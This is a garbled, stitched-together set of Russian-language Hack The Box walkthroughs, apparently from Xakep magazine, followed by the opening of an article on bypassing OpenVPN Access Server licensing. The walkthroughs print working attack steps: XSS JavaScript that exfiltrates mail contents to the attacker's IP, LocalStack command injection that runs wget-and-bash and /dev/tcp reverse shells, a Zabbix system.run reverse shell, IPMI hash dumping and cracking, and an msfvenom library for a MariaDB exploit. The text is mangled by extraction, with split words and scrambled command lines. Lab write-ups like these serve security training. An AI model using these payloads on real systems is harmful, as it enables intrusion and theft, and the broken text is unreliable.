По иск экс пло итов в Google

Мы находим  с экс пло итом для нуж ной вер сии InuxDB. Этот код
экс плу ати рует уяз вимость, которая зак люча ется в обхо де аутен тифика ции,
воз можной из-за ошиб ки в реали зации JWT: мож но исполь зовать пус той сек- 
рет. Пер вым делом экс пло ит переби рает име на поль зовате лей, для это го он
зат ребу ет соот ветс тву ющий сло варь.

ре пози торий

За пуск экс пло ита

Ког да будет най ден под ходящий поль зователь, будут выведе ны базы дан ных.
Исполь зуем юзе ра .devzat

Вы бор базы дан ных

По лучим все дан ные из таб лицы .user

По луче ние дан ных из таб лицы user

Мы наш ли кое-какие пароли. Про буем их для сме ны юзе ра в сис теме,
находим под ходящую учет ку и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь нам нужен флаг рута. Для удобс тва под клю чим ся по SSH. У нас изме- 
нил ся кон текст поль зовате ля, поэто му сно ва про ведем раз ведку на хос те.
Пов торно запус каем LINPEAS.

В спис ке дос тупных для записи фай лов обна ружи ваем два архи ва
исходни ков devzat.

Спи сок фай лов, дос тупных для записи

А по спис ку про цес сов и откры тым пор там дела ем вывод, что devzat запущен
для локаль ного хос та, при этом от име ни root.

Спи сок про цес сов

Спи сок прос лушива емых пор тов

Ска чаем обе вер сии архи ва, рас паку ем и прос мотрим, какие фай лы отли- 
чают ся. Сде лать это мож но, срав нивая хеши.

Хе ши исходных кодов прог раммы

Файл  в dev-вер сии был изме нен. Прос мотрим раз личия в фай- 

лах с помощью .

commands.go
diff

Раз личия в фай лах commands.go

В вер сии dev появи лась новая коман да . Ее реали зацию мы най дем

ниже.

file

Раз личия в фай лах commands.go

Как видишь, у нас есть воз можность про читать любой файл в сис теме, пре- 
дос тавив ука зан ный пароль. Под клю чим ся к локаль ному чату и прос мотрим
спи сок команд.

ssh -l ralf localhost -p 8443 

Ко ман да /commands

Ко ман да  при сутс тву ет, что дает нам воз можность про читать вооб ще

любой файл, учи тывая, что devzat работа ет в при виле гиро ван ном кон тек сте.
Поэто му чита ем при ват ный ключ поль зовате ля root.

file

При ват ный ключ поль зовате ля

А теперь под клю чим ся с этим клю чом и заберем флаг.

Флаг рута

Ма шина зах вачена.

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
https://github.com/jpillora/chisel
https://www.exploit-db.com/
https://www.kali.org/
https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
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ВЗЛОМ

В этой статье мы про экс плу ати руем XSS-
уяз вимость, получим дос туп к Docker,
заюзав баг в LocalStack, а затем зай мем ся
по-нас тояще му инте рес ной задачей —
повыше нием при виле гий внут ри Docker
и побегом из кон тей нера через OS
Command Injection.

Все перечис ленное нам понадо бит ся, что бы прой ти машину Stacked с пло- 
щад ки . Ее уро вень слож ности заяв лен как «безум ный» (Insane),
но мы спра вим ся, вот уви дишь!

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.112    stacked.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим три откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Apache 2.4.41;•
2376 — порт для безопас ного дос тупа к Docker.•

Пер вым делом идем смот реть веб. Там нас встре чает прос тень кая стра нич ка,
на которой идет отсчет вре мени. Поле вво да, судя по все му, не выпол няет
никаких опе раций, а лишь переб расыва ет на .index.html

Глав ная стра ница сай та stacked.htb

Ñêàíèðîâàíèå âåá-êîíòåíòà

Да вай поищем на сай те скры тые ресур сы.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За пус каем ска ниро вание:

ffuf  256 -u http://stacked.htb/FUZZ -t -w files_interesting.txt -mc 
200,204,301,302,307,401,405 

Ре зуль тат ска ниро вания фай лов с помощью ffuf

Мы не наш ли ничего инте рес ного. Пов торим ска ниро вание в надеж де обна- 
ружить скры тые катало ги.

ffuf  256 -u http://stacked.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt -mc 200,204,301,302,307,401,405 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

То же ничего. Но закан чивать ска ниро вание рано, ведь еще мож но переб рать
под домены. Это дол жно при вес ти нас к новым сай там на том же сер вере.
Для это го будем переби рать вир туаль ный хост в HTTP-заголов ке :Host

ffuf  256 
   200 

-u http://stacked.htb -t -w subdomains-top1million-110000.
txt -H 'Host: FUZZ.stacked.htb' -mc

Ре зуль тат ска ниро вания под доменов с помощью ffuf

И это дает резуль тат — нам дос тупен еще один сайт. Добав ляем запись
в файл  и идем смот реть стра ницу./etc/hosts

10.10.11.112    stacked.htb portfolio.stacked.htb 

Глав ная стра ница сай та portfolio.stacked.htb

На сай те ска зано про исполь зование тех нологии Docker LocalStack для ими- 
тации сер висов AWS. Для под клю чения нам дают ска чать файл 

.

docker-
compose.yml

Со дер жимое фай ла docker-compose.yml

Чуть ниже видим фор му, через которую мож но отпра вить сооб щение. Так
как нам при ходит уве дом ление, зна чит, это оче вид ное мес то для поис ка XSS-
уяз вимос ти.

Уве дом ление об отправ ке сооб щения

Поп робу ем отпра вить прос той код, который дол жен заг рузить JS-файл
с нашего сер вера:

<script src="http://10.10.14.93/test.js"></script>

В ответ получа ем сооб щение о детек те XSS.

Уве дом ление о детек те XSS

Продолжение статьи →
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ÒÎ×ÊÀ ÂÕÎÄÀ

XSS

Нам пред сто ит прор вать ся сквозь филь тр XSS, а для это го пер вым делом
выяс ним, где он работа ет — на сер вере или пря мо в нашем бра узе ре.
Это мож но сде лать, испра вив зна чение полей при перех вате зап роса в ,

одна ко мы получим тот же ответ о детек те. Зна чит, про вер ка идет на сер вере.

Burp

Сле дом про верим два заголов ка HTTP, через которые час то мож но
получить XSS:  и . И пер вый же дает нам отстук на 80-й

порт (ловим его через лис тенер ).

Referer User-Agent
netcat

Зап рос в Burp Repeater

Зап рос фай ла test.js на локаль ном веб-сер вере

Есть XSS! К тому же поле Referer рас кры вает нам новый ресурс. Как кру то экс- 
плу ати ровать XSS в подоб ных ситу ациях, я уже опи сывал в 

.
про хож дении

машины Crosst
Наз вание под домена и фай ла на сер вере ука зыва ют на то, что это поч- 

товый кли ент, а параметр сооб щает, что наше сооб щение приш ло вто рым.
Поп робу ем про читать пер вое. Сле дующий код (файл ) дол жен выпол- 

нить зап рос это го сооб щения, закоди ровать тело стра ницы в Base64 и отпра- 
вить его в качес тве парамет ра  на свой локаль ный сер вер.

test.js

answer

    var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', true);

 xhr.setRequestHeader('Content-type', 'application/
x-www-form-urlencoded');

    xhr.onload = function () {
          var request = new XMLHttpRequest();

   
 

      request.open('GET', 'http://10.10.14.93/?answer=' + btoa(xhr.
responseText), true);
      request.send();
};
xhr.send();

Толь ко перед пов тором зап роса перек лючим лис тенер netcat на веб-сер вер
Python 3 (коман да ). Отправ ляем зап рос

и получа ем два зап роса в ответ.

python3 -m http.server 80

Ло ги веб-сер вера Python 3

Де коди руем Base64 и добира емся до тела сооб щения.

Пер вое сооб щение из поч тового ящи ка поль зовате ля

Тут говорит ся о новом сер висе , а так же о том, что

у нас есть пра ва на нас трой ку ролей (по умол чанию LocalStack не име ет
политик безопас ности). Добав ляем это домен ное имя в файл 

и выпол няем тес товый зап рос.

s3-testing.stacked.htb

/etc/hosts

. . .     .  . .  - . .10 10 11 112 stacked htb portfolio stacked htb s3 testing stacked
htb

curl s3-testing.stacked.htb | jq 

Про вер ка работы сер виса

И сра зу кон фигури руем .awscli

aws configure 

Под готов ка awscli

А теперь перехо дим к самому инте рес ному.

ÒÎ×ÊÀ ÎÏÎÐÛ

LocalStack

Про ект с откры тым исходным кодом  поз воля ет лег ко раз рабаты- 

вать облачные при ложе ния AWS на локаль ном хос те. Он раз ворачи вает тес- 
товую сре ду, которая обес печива ет поч ти те же фун кции и API, что и нас- 
тоящий AWS, но без мас шта биро вания и с мень шей надеж ностью. На сер- 
вере исполь зует ся LocalStack вер сии 0.12.6 (ука зано в ска чан ном фай ле

), в которой име ется уяз вимость, поз воля ющая выпол- 
нить уда лен ный код (RCE) через лям бда-фун кции.

LocalStack

docker-compose.yml

Уяз вимость кро ется в трех фай лах: ,  и .

В пер вом фай ле опре деля ется путь (route), который вызыва ет фун кцию
. Затем эта фун кция выпол няет ся с поль зователь ским

вво дом.

api.py infra.py bootstrap.py

get_lambda_code()

 @app.route('/lambda/<functionName>/code', methods=['POST'])
 def get_lambda_code(functionName):

   ...
      result = infra.get_lambda_code(func_name=functionName, env=env)

Во вто ром фай ле управля емый поль зовате лем ввод  объ еди няет ся

в сис темную коман ду. Без какой-либо очис тки он переда ется в фун кцию
. Через ряд фун кций поль зователь ский ввод попада ет в .

func_name

cmd_lambda() run()

    def get_lambda_code(func_name, retries=1, cache_time=None, env=None):
   ...
        

 
out = cmd_lambda('get-function --function-name %s' % func_name,

env, cache_time)

В фай ле  коман да выпол няет ся через 
. Здесь параметр  содер жит управля емый поль зовате лем

ввод. Это при водит к уяз вимос ти внед рения команд, пос коль ку зло умыш- 
ленник может завер шить исходную коман ду и выпол нить свою собс твен ную.

bootstrap.py subprocess.
check_output() cmd

    
  

def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=
None, inherit_cwd=False, inherit_env=True):
   ...
        

 
output = subprocess.check_output(cmd, shell=True, stderr=stderr,

env=env_dict, cwd=cwd)

AWS Lambda

С LocalStack разоб рались, теперь перей дем к лям бда-фун кци ям.  —

это пред ложение Amazon для бес сервер ных вычис лений. Вмес то того что бы
раз мещать вир туаль ную машину в обла ке, наз нача ется фун кция и набор триг- 
геров. Ког да сра баты вает триг гер (дей ствия осно ваны на событи ях или вре- 
мени), наз начен ная фун кция запус кает ся.

Lambda

Соз дадим фун кцию, в име ни которой будет внед рена коман да, ска чива- 
ющая с нашего хос та реверс-шелл и выпол няющая его. Для это го необ- 
ходимо ука зать сле дующие парамет ры:

 — имя фун кции;• --function-name
 — наз вание заг ружа емо го пакета;• --zip-file

 — вызыва емая фун кция в фор мате ;• --handler [файл].[функция]
 — роль фун кции в фор мате ARN;• --role

 - интер пре татор для запус ка кода.• --runtime

При мер лям бда-фун кции мож но пос мотреть в .до кумен тации

 exports.handler =  async function(event, context) {
 console.log("EVENT: \n" + JSON.stringify(event, null, 2))
 return context.logStreamName 
}

За тем упа ковы ваем в ZIP.

zip index.zip index.js 

Ис поль зуем , которая ска чает
и выпол нит сле дующий реверс-шелл.

wget 10.10.14.93/shell.sh;bash shell.sh

bash -i &>/dev/tcp/10.10.14.93/4321 0>&1 

А так же откры ваем лис тенер netcat ( ).

И наконец, соз даем лям бда-фун кцию.

rlwrap -cAr nc -lvnp 4321

 
 

aws lambda create-function --function-name 'ralf;wget${IFS}10.10.14.
93/shell.sh;bash${IFS}shell.sh' --zip-file fileb://index.zip --role 
arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-
testing.stacked.htb --handler index.handler --runtime nodejs12.x 

Соз дание лям бда-фун кции

Ко ман да в наз вании фун кции сра баты вает, толь ко ког да оно отоб ража ется
на веб-панели. А зна чит, поль зователь дол жен посетить эту панель. Для это го
мы и исполь зуем най ден ную ранее уяз вимость XSS. По умол чанию панель
работа ет на пор те 8080. Что бы поль зователь перешел на ука зан ный адрес,
отправ ляем сле дующую наг рузку.

<script>document.location="http://127.0.0.1:8000"</script>

От прав ка зап роса с наг рузкой

И спус тя некото рое вре мя на локаль ный веб-сер вер при дет зап рос, а в окне
лис тенера обна ружим бэк коннект.

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

По лучи ли дос туп к сис теме, а это озна чает, что нуж но соб рать информа цию.
Обыч но я исполь зую скрип ты , что бы собирать информа цию с хос та,
и  — что бы собирать информа цию в Docker. Но в этот раз с их
помощью не уда лось най ти ничего инте рес ного.

LinPEAS
DEEPCE

Поп робу ем отсле дить запус каемые про цес сы. Для это го заг рузим на хост
ути литу . Сно ва ничего не находим, пока не поп робу ем соз дать новую
лям бда-фун кцию.

pspy

  aws lambda create-function --function-name 'ralf_test' --zip-file 
fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role 
--endpoint-url http://s3-testing.stacked.htb --handler index.handler 
--runtime nodejs12.x 

Ло ги pspy

Поп робу ем выз вать сра баты вание триг гера.

aws lambda invoke --function-name ralf_test --endpoint-url http://s3-
testing.stacked.htb out.txt 

Ло ги pspy

В логах находим отра жение передан ного нами при соз дании фун кции фор- 
мата . То есть мы можем поп робовать выпол нить инъ екцию

коман ды ОС:

index.handler

 index.handler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.93/4321 0>&
1")

Соз даем лям бда-фун кцию:

  

 
 

aws lambda create-function --function-name 'ralf_test' --zip-file 
fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role 
--endpoint-url http://s3-testing.stacked.htb --handler 'index.
handler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.93/4321 0>&1")'
--runtime nodejs12.x 

И пос ле вызова триг гера получа ем бэк коннект, при чем в при виле гиро ван ном
кон тек сте.

aws lambda invoke --function-name ralf_test --endpoint-url http://s3-
testing.stacked.htb out.txt 

Бэк коннект от сер вера

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы получи ли неог раничен ные при виле гии и с помощью Docker API можем
соз дать новый кон тей нер или пере опре делить сущес тву ющий, при этом мон- 
тировав фай ловую сис тему основно го хос та. Получим спи сок обра зов.

docker image ls

Спи сок обра зов

По лучим TTY-обо лоч ку через Python:

 python3 -c 'import pty;pty.spawn("/bin/bash")'

Те перь мон тиру ем хос товую фай ловую сис тему  в каталог  обра за

.

/ /mnt
0601ea177088

 docker run -d -v /:/mnt -it 0601ea177088 

Пе реоп ределе ние кон тей нера

Про веря ем каталог , и там будет «основной хост»./mnt

Флаг рута

Ма шина зах вачена!

https://xakep.ru/2021/03/22/htb-crossfit-xss/#toc02.1
https://docs.aws.amazon.com/lambda/latest/dg/nodejs-handler.html
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/stealthcopter/deepce
https://github.com/DominicBreuker/pspy
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ВЗЛОМ

Се год ня мы с тобой зах ватим кон трол лер
управле ния пла тами (BMC), работа ющий
по про токо лу IPMI. Для это го про экс плу ати- 
руем баг в Zabbix, а затем повысим при- 
виле гии при помощи извес тной уяз вимос ти
в MySQL.

Про делы вать все это мы будем на машине с пло щад ки . Она
называ ется Shibboleth, а ее слож ность отме чена как сред няя.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.124    shibboleth.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли все го один откры тый порт — 80. На хос те акти вен веб-сер вер
Apache 2.4.41.

Глав ная стра ница сай та

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к перебо- 
ру адре сов в поис ках скры тых ресур сов.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За пус каем :ffuf

ffuf  256 
 279 
-u http://shibboleth.htb/FUZZ -t -w files_interesting.txt 

-fs

Ре зуль тат ска ниро вания катало гов с помощью ffuf

На ходим файл , из которо го можем узнать, на чем работа ет

сайт.

changelog.txt

Со дер жимое фай ла changelog.txt

Бы вает полез но, помимо катало гов, переб рать и вир туаль ные хос ты, то есть
под домены. Исполь зуем тот же ffuf и будем переби рать HTTP-заголо вок 

(параметр ). Так как ответ на все зап росы вклю чает десять строк, отфиль- 

тру ем их из резуль тата (параметр ):

Host
-H

-fl

ffuf  256 
   10 

-u http://shibboleth.htb -t -w subdomains-top1million-
110000.txt -H 'Host: FUZZ.shibboleth.htb' -fl

Ре зуль тат ска ниро вания под доменов с помощью ffuf

На ходим три домен ных име ни, которые при ведут нас на один и тот же сайт.
Добавим их в файл  и заг лянем на любой из них. Нас встре тит
панель авто риза ции Zabbix.

/etc/hosts

10.10.11.124    monitor.shibboleth.htb shibboleth.htb 

Фор ма авто риза ции Zabbix

Ид ти даль ше некуда, одна ко в моем чек-лис те остался неот мечен ным пункт
ска ниро вания UDP-пор тов. Это дело дол гое, но может дать мно го полез ного.
Запус каем.

nmap sudo -sU shibboleth.htb 

Ре зуль тат ска ниро вания UDP-пор тов

На пор те UDP 623 работа ет служ ба IPMI. А по это му про токо лу обща ются кон- 
трол леры управле ния пла тами.

Продолжение статьи →
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ÒÎ×ÊÀ ÂÕÎÄÀ

По хоже, мы име ем дело с кон трол лером управле ния пла той, BMCS.
Это что-то вро де мини-компь юте ра, который исполь зует ся для монито рин га
нас толь ных компь юте ров и сер веров. BMCS час то реали зова ны как встра- 
иваемые сис темы ARM, работа ющие под управле нием Linux и под клю чен ные
непос редс твен но к материн ской пла те основной сис темы. Дос туп к сети
обес печива ется либо через основную сетевую кар ту, либо через спе циаль- 
ный интерфейс. Поч ти все сер веры и рабочие стан ции пос тавля ются с той
или иной фор мой BMC.

Ин теллек туаль ный интерфейс управле ния плат формой (IPMI) — это набор
спе цифи каций, опре деля ющих про токо лы свя зи для обме на дан ными как по
локаль ной шине, так и по сети. Через IPMI мож но уда лен но под клю чить ся
к сер веру и управлять его работой:

мо нито рить сос тояние обо рудо вания, нап ример про верять тем перату ру
отдель ных сос тавля ющих сис темы, уро вень нап ряжения, ско рость вра- 
щения вен тилято ров;

•

вос ста нав ливать работос пособ ность сер вера в авто мати чес ком или руч- 
ном режиме (уда лен ная перезаг рузка сис темы, вклю чение и вык лючение
питания, заг рузка ISO-обра зов и обновле ние прог рам мно го обес- 
печения);

•

уп равлять перифе рий ными устрой ства ми;•
вес ти жур нал событий;•
хра нить информа цию об исполь зуемом обо рудо вании.•

Пер вым делом получим базовую информа цию, такую как номер вер сии
(1.5 или 2.0). В этом нам может помочь модуль ipmi_version из 

.

Metasploit

Framework

msfconsole -q
use auxiliary/scanner/ipmi/ipmi_version 
show options 

Нас трой ки ipmi_version

Как сле дует из парамет ров модуля ipmi_version, нуж но лишь ука зать адрес
хос та.

set RHOSTS shibboleth.htb 
run 

По луче ние вер сии IPMI

У нас вер сия 2.0. В ней есть уяз вимость обхо да аутен тифика ции. При исполь- 
зовании шиф ра типа 0 (кли ент хочет исполь зовать аутен тифика цию откры тым
тек стом) дос туп мож но получить прак тичес ки с любым паролем. Про верим,
уяз вим ли хост, с помощью модуля ipmi_cipher_zero, которо му так же нуж но
ука зать адрес хос та.

use auxiliary/scanner/ipmi/ipmi_cipher_zero 
set RHOSTS shibboleth.htb 
run 

Про вер ка типа аутен тифика ции

Ба зовую информа цию узна ли, для даль нейшей работы нам пот ребу ется ути- 
лита , уста новить которую мож но пря мо из репози тория.ipmitool

apt sudo install ipmitool 

А теперь зап росим спи сок поль зовате лей ( ). Для аутен тифика ции

исполь зуем дефол тное имя поль зовате ля .

user list
Administrator

 0  ipmitool -I lanplus -C -H shibboleth.htb -U root -P '' user list 

Спи сок поль зовате лей

Та ким обра зом, у нас есть все го одно имя, но и это го нам хва тит. Дело в том,
что в про цес се аутен тифика ции IPMI 2.0 сер вер сооб щит кли енту SHA1-хеш
любой учет ной записи, для которой пос тупит зап рос. Что бы сде лать его,
можем исполь зовать модуль ipmi_dumphashes.

use auxiliary/scanner/ipmi/ipmi_dumphashes 
show options 

Нас трой ки ipmi_dumphashes

У Metasploit есть свой сло варь имен, поэто му вновь ука жем толь ко адрес хос- 
та.

set RHOSTS shibboleth.htb 
run 

По лучен ный хеш адми нис тра тора

С помощью зна мени того  мож но не толь ко быс тро ломать хеши

и соз давать пра вила или спис ки паролей, но и опре делять тип хеша.

hashcat

 |    hashcat --example grep 'IPMI' -A2 -B2

По луче ние алго рит ма хеширо вания

Нам сооб щают, что это хеш типа IPMI2 SHA1 и что, если мы хотим переби рать
его, нуж но исполь зовать код режима 7300. Так мы и пос тупим, а в качес тве
сло варя с пароля ми исполь зуем .rockyou

 0 hashcat -a -m 7300 hash.txt rockyou.txt 

Взлом най ден ного IPMI2 SHA1-хеша

В ито ге лег ко под бира ем пароль. А с его помощью авто ризу емся в Zabbix.

Глав ная панель Zabbix

ÒÎ×ÊÀ ÎÏÎÐÛ È ÏÐÎÄÂÈÆÅÍÈÅ

Че рез панель Zabbix мож но выпол нить код и получить реверс-шелл. Для это го
перей дем к меню Conguration → Host → Items и выберем Add Item.

Ме ню Host

Ме ню Items

Те перь коман дой  откро ем лис тенер для при ема

соеди нения. Запол няем обя затель ные поля, а в поле Key ука зыва ем
реверс-шелл.

rlwrap -cAr nc -lvp 4321

 system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.134/4321 
0>&1",nowait] 

Ме ню Add Item

Как толь ко новая запись будет добав лена, в окне лис тенера получим бэк- 
коннект.

Ус пешно соз данная запись

Бэк коннект

В сис теме най дем все го одно го поль зовате ля , а в фай ле 

 обна ружим, что он может исполь зовать коман дную обо лоч ку.

ipmi-svc /etc/
passwd

cat /etc/passwd | grep ipmi-svc 

Про вер ка поль зовате лей

С име ющим ся паролем авто ризу емся как .ipmi-svc

 python3 -c 'import pty;pty.spawn("/bin/bash")'
su 

Флаг поль зовате ля

Продолжение статьи →
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ЛОМАЕМ ZABBIX, ЧТОБЫ ЗАХВАТИТЬ

КОНТРОЛЛЕР ПЛАТЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Один из спо собов повысить при виле гии — най ти учет ные дан ные. В дан ном
слу чае есть шанс получить их из Zabbix. Пос коль ку он под клю чает ся к базе
дан ных, парамет ры это го под клю чения дол жны где-то содер жать ся. В слу чае
с Zabbix они находят ся в кон фиге ./etc/zabbix/zabbix_server.conf

Со дер жимое фай ла zabbix_server.conf

Этот пароль к поль зовате лю root не подошел, зато поз волит авто ризо вать ся
в MySQL.

 mysql -u zabbix -pbloooarskybluh -D zabbix 

Под клю чение к MySQL

При под клю чении мы узна ем вер сию MySQL, поэто му можем поис кать
готовые экс пло иты.

Справка: поиск готовых эксплоитов
При пен тесте луч ше все го искать экс пло иты в Google, пос коль ку этот поис- 
ковик заг лядыва ет и в лич ные бло ги, и в самые раз ные отче ты. Уско рят дело
спе циали зиро ван ные базы вро де  — там час то мож но обна ружить
под ходящие вари анты. Если ты работа ешь в спе циали зиро ван ной ОС вро де

, то эта база у тебя уже есть и для поис ка мож но исполь зовать ути- 
литу .

Exploit-DB

Kali Linux
searchsploit

По иск экс пло ита для 10.3.25-MariaDB

На ходим баг CVE-2021-27928. Экс плу ата ция этой уяз вимос ти при водит к уда- 
лен ному выпол нению кода: мы можем уста новить зна чение 

(сис темная перемен ная MySQL, ука зыва ющая рас положе ние биб лиоте ки
wsrep). Управле ние путем к биб лиоте ке, которая будет заг ружена в MySQL,
дает нам воз можность помес тить в нее вре донос ный код, который запус тится
в при виле гиро ван ном кон тек сте.

wsrep_provider

Та кая биб лиоте ка дол жна быть фай лом .so, сге нери ровать который нам
поможет MSFVenom, вхо дящий в сос тав Metasploit Framework. Фор мат фай ла
ука зыва ем в парамет ре , а в качес тве наг рузки исполь зуем обыч ный

реверс-шелл (параметр ).

-f
-p

5432 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.134 LPORT=
-f elf-so -o ralf_expl.so 

Ге нери рова ние фай ла .so

Заг ружа ем на уда лен ный хост сге нери рован ную биб лиоте ку и откры ваем
на локаль ном хос те лис тенер:

 nc rlwrap -cAr -lvnp 5432 

А теперь экс плу ати руем уяз вимость, прос то уста новив зна чение перемен ной
!wsrep_provider

  SET GLOBAL wsrep_provider="/tmp/ralf_expl.so";

Ус танов ка wsrep_provider

И в окне лис тенера видим бэк коннект.

Флаг рута

Ма шина зах вачена!

https://www.exploit-db.com/
https://www.kali.org/
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ПРИВАТНОСТЬ

В пос леднее вре мя ко мне все чаще обра щают ся друзья
с прось бами помочь получить дос туп к Facebook, Instagram,
Telegram, YouTube и про чим недос тупным сай там, где мог ла
остать ся важ ная информа ция. Что бы помочь им, я всег да
исполь зовал OpenVPN Access Server. Его бес плат ная вер сия
име ет ряд лицен зион ных огра ниче ний. В этой статье я
покажу, как с ними мож но спра вить ся.

Access Server — прек расное ПО, которое уста нав лива ется на сер вере в пару
команд и поз воля ет удоб но работать с кли ента ми: редак тировать под сети,
про фили и пароли и так далее. Делать все это вруч ную было бы нам ного
тяжелее.

Но вот незада ча — в бес плат ной вер сии есть огра ниче ние на чис ло под- 
клю чений: работать одновре мен но могут лишь два кли ента. Плат ная лицен зия
сто ит дорого, к тому же ее сей час никак не опла тишь с рос сий ской кре дит ки.
Увы, та же участь пос тигла мно гие прог раммы и полез ные хакер ские ресур сы.
Вче ра, нап ример, я не смог опла тить Hack The Box, что меня очень расс тро- 
ило. Что ж, будем вмес то про хож дения тачек с HTB упражнять ся в ста рин ном
рус ском ремес ле — кря кин ге!

WARNING

На момент написа ния это го матери ала ,
зап реща ющие исполь зование нелицен зион ного
ПО, по-преж нему име ют силу. Воз можность раз- 
решить исполь зовать софт ухо дящих из Рос сии
ком паний без лицен зии толь ко . Мы
в этой статье лишь демонс три руем уяз вимость,
бла года ря которой воз можен обход про вер ки.
При меняя получен ные зна ния, пом ни, что ты дей- 
ству ешь на свой страх и риск. Не забывай сле- 
дить за акту аль ным законо датель ством, осо бен но
если дей ству ешь в ком мерчес ких целях.

за коны

об сужда ется

Что бы не изоб ретать велоси пед, давай гля нем, что отве тят поис ковики
на зап рос «OpenVPN Access Server license unlimited». Любопыт но, но есть
один репози торий, уда лен ный с GitHub за несоб людение автор ских прав.
Находим зер кало и смот рим опи сание: тре бует ся вер сия CentOS 7. В уста- 
новоч ном скрип те пос ле инстал ляции самого пакета openvpn-as идет еще и
замена фай ла  по пути 

.
pyovpn-2.0-py2.7.egg /usr/local/openvpn/python/

sites-enabled
Та кой важ ный эле мент сис темы, отве чающий в том чис ле за веб-фрон- 

тенд, я бы не стал менять всле пую и тебе тоже не советую. Тем более в соф- 
те, свя зан ном с кон фиден циаль ностью. Поэто му перед исполь зовани ем изу- 
чим, что там внут ри. Срав ним хак нутые вари анты с исходны ми фай лами.

Рас паку ем ори гиналь ный RPM в поис ках . Рас- 

паковать .rpm мож но обыч ным tar:

pyovpn-2.0-py2.7.egg

$ tar xf openvs.rpm 

А .egg — это, в свою оче редь, обыч ный ZIP. Находим его по адре су 

.

pyovpn-2.
0-py2.7/usr/local/openvpn_as/lib/python/

Да лее рас паковы ваем хак нутый pyovpn-2.0-py2.7.egg из ком плек та:

$ unzip pyovpn-2.0-py2.7.egg 

По ищем фай лы, в которых что-то менялось.

 

 

 
